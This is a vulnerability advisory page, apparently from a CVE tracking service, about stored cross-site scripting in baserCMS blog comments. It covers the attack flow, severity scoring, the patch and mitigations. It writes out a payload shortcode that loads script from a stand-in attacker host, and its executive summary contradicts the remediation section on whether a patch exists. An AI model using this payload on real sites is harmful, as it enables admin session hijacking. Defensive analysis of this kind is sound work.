Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPost comment with getGoogleMaps shortcode (unauthenticated)
-
DeliveryShortcode stored, survives HTML escaping
-
ExploitAdministrator opens affected article
-
ExecutionShortcode expands into attacker-controlled script src
-
PersistJavaScript executes on site origin
-
ImpactHijack authenticated admin session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires that the target baserCMS site (versions 5.0.0-5.3.1 or 5.4.0-5.4.1) has the bc-blog comment feature enabled and renders visitor comments on article pages; no account or authentication is needed to submit the malicious comment (PR:N). The attacker must host a reachable JavaScript file to reference via the shortcode's apiBaseUrl argument. Execution is not automatic on submission - per UI:R, a subsequent victim (another visitor, or an administrator, to achieve session compromise) must open the specific article displaying the comment. Limiting factors defenders can rely on: any comment moderation/approval workflow that prevents unapproved comments from being rendered would block the trigger, and the high-impact (admin takeover) outcome depends on an administrator actually viewing the poisoned article. Note that standard HTML escaping of the comment does NOT limit this, because shortcode expansion occurs after HTML rendering. |
| Impact | This is a genuine priority within deployments of baserCMS, not an inflated high-CVSS score. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N = 7.1 High) is internally consistent with the mechanism: a network-reachable, low-complexity injection requiring no attacker privileges (PR:N - anyone on the internet can post a comment), but gated by UI:R because a second party (another visitor or, most damagingly, an administrator) must open the article to trigger execution. The high confidentiality impact (C:H) reflects theft of the authenticated administrator session/origin context; I:L captures limited integrity impact via injected content such as the Mail.getForm contact form, and A:N is appropriate as availability is unaffected. On the exploitation-probability axis the signals are incomplete and partly conflicting: no EPSS score is provided and the CVE is NOT on CISA KEV, so there is no evidence of active in-the-wild exploitation; however, the vuln.today decision label is 'this_week' and a fully detailed, reporter-verified proof-of-concept is published inside the GitHub Security Advisory (verified on a clean baserCMS 5.4.1 instance). The absence of EPSS/KEV data means widespread automated exploitation cannot be confirmed or ruled out from the inputs. Net assessment: a real, patch-this-week issue - unauthenticated stored XSS that can hand over an admin session - but its overall real-world impact is bounded by the UI:R requirement (an admin must view the poisoned article) and by the relatively modest deployment footprint of baserCMS rather than by exploit difficulty. |
| Exploit ScenarioDerived | An unauthenticated attacker posts a blog comment on any article containing the shortcode [BcBaser.getGoogleMaps apiKey|k|apiBaseUrl|//attacker/xss.js?], pointing apiBaseUrl at an attacker-hosted script. Although the comment body is HTML-escaped on output, shortcode expansion runs after HTML rendering over the whole page, so the value is emitted as <script src=...> and executes on the site's origin when any visitor - or an administrator - later opens that article, enabling session/account takeover. A working, reporter-verified proof-of-concept for this exact chain is published in the vendor's GitHub Security Advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 23, 2026
Stored cross-site scripting in baserCMS (5.0.0 through 5.3.1 and 5.4.0 through 5.4.1) lets an unauthenticated visitor post a blog comment containing a shortcode such as [BcBaser.getGoogleMaps ...] that the CMS expands across the entire rendered page after HTML escaping, so an attacker-chosen URL is emitted as a script src and runs JavaScript on the site's own origin for anyone who opens that article. An administrator who views the poisoned article exposes their authenticated browser context, and the same expansion mechanism lets an attacker embed live server-side content in a comment, for example the Mail.getForm contact form complete with a valid CSRF token. A verified, step-by-step proof of concept against a clean 5.4.1 instance is published in the GitHub advisory; there is no CISA KEV listing, and the item is prioritised for remediation this week rather than as an emergency.
RemediationAI
Vendor-released patches are available: upgrade to baserCMS 5.3.2 (5.3.x branch) or 5.4.2 (5.4.x branch) per https://github.com/baserproject/basercms/releases/tag/5.3.2 and https://github.com/baserproject/basercms/releases/tag/5.4.2, which contain commit bec4776ab497457fac76da7ae67d2dd0ad964eec applying notContainsShortCode validation to blog comment name and message fields plus a hard restriction of the Google Maps apiBaseUrl to https://maps.(google|googleapis).com/. Where immediate upgrade is not possible, the practical compensating control is to ensure every blog comment passes a moderation/approval workflow and that unapproved comments are never rendered on article pages, since an unrendered comment is never shortcode-expanded - the trade-off is that comments become non-interactive until a moderator approves them and the underlying defect remains exploitable for any auto-approved path; disabling blog comment display altogether removes the vector at the cost of losing visitor feedback. Restricting or disabling the Google Maps shortcode through the BcShortCode configuration reduces the script-src path but not the broader shortcode-in-comment class, as the advisory notes other shortcodes such as Mail.getForm also expand, so it should be treated as partial mitigation only.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
baserCMS is a PHP web framework/CMS built on CakePHP, and the flaw is a CWE-79 output-neutralisation failure whose root cause is ordering: after a front-end page is rendered, baserCMS performs a global pass that expands registered shortcodes (configured via Configure::read('BcShortCode')) over the complete page, including HTML-escaped blog comment bodies submitted by unauthenticated visitors. Because expansion happens after HTML rendering, escaping a comment's raw markup turns <script> into <script> but does not stop a shortcode such as [BcBaser.getGoogleMaps apiKey|k|apiBaseUrl|//host/xss.js?] from being interpreted on output. The Google Maps helper takes the apiBaseUrl argument and concatenates it straight into a <script src="...?key=..."> attribute, so the attacker controls the script location that browsers load and execute under the site's origin; the advisory notes other registered shortcodes also expand in comments, with Mail.getForm embedding a working contact form and valid CSRF token into the comment area. The upstream commit addresses both sides: a new BcValidation::notContainsShortCode rule is added to the name and message validation of BlogCommentsTable to reject registered shortcodes in submitted comments, and BcGoogleMapsHelper::load now only accepts apiBaseUrl values matching https://maps.(google|googleapis).com/ (falling back to https://maps.google.com/maps/api/js) while rawurlencode-ing the API key.
Know when Basercms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Unauthenticated remote comment injection (AV:N/AC:L/PR:N) that executes only when a victim views the article (UI:R); admin session theft gives C:H, injected content I:L, no availability impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, global shortcode expansion runs over the complete rendered page, including HTML-escaped blog comments supplied by unauthenticated visitors. A comment containing the BcBaser.getGoogleMaps shortcode can set apiBaseUrl to an attacker-controlled script URL, which is emitted as a script src and executes JavaScript on the site's origin when another visitor or administrator opens the article displaying that comment. Escaping raw HTML in comments does not prevent this stored cross-site scripting because shortcode processing happens after HTML rendering. Other registered shortcodes also expand in comments; Mail.getForm can embed a working contact form with a valid CSRF token. The flaw can compromise the authenticated browser context of an administrator who views the affected article. This issue has been patched in versions 5.3.2 and 5.4.2.
Technical POC Analysis
CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS caused by an order-of-operations defect in the rendering pipeline.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
A high-severity stored cross-site scripting vulnerability in baserCMS versions 5.0.0 through 5.4.1 allows unauthenticated visitors to inject malicious shortcodes via blog comments, which execute JavaScript on the site's origin when any user views the affected article. This puts administrators at risk of session hijacking and credential theft, potentially leading to full site compromise and data breaches. Leadership should prioritize remediation because the attack vector is public and the CMS powers public-facing websites, directly impacting organizational reputation and customer trust.
No vendor-released patch identified at time of analysis. Interim mitigations: deploy WAF rules to filter shortcode payloads in comments, disable blog comment functionality until patched, restrict admin panel access to trusted networks, and enforce MFA for administrators.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
In baserCMS before 4.1.4, lib\Baser\Model\ThemeConfig.php allows remote attackers to execute arbitrary PHP code via the
SQL injection vulnerability in the baserCMS 3.0.14 and earlier, 4.0.5 and earlier allows remote attackers to execute arb
baserCMS is a website development framework. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploita
baserCMS is a website development framework. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploita
baserCMS is a Content Management system. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,
baserCMS is a Content Management system. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,
OS command injection in baserCMS installer prior to version 5.2.3 allows remote attackers to execute arbitrary system co
OS command injection in baserCMS update functionality allows authenticated administrators to execute arbitrary commands
OS command injection in baserCMS core update functionality allows authenticated administrators to execute arbitrary syst
baserCMS 3.0.14 and earlier, 4.0.5 and earlier allows an attacker to execute arbitrary PHP code on the server via unspec
Cross-site request forgery (CSRF) vulnerability in baserCMS plugin Mail version 3.0.10 and earlier allows remote attacke
Cross-site request forgery (CSRF) vulnerability in baserCMS plugin Blog version 3.0.10 and earlier allows remote attacke
EUVD-2026-109081
NVD
CVE.org
EPSS
GitHub
Exploit-DB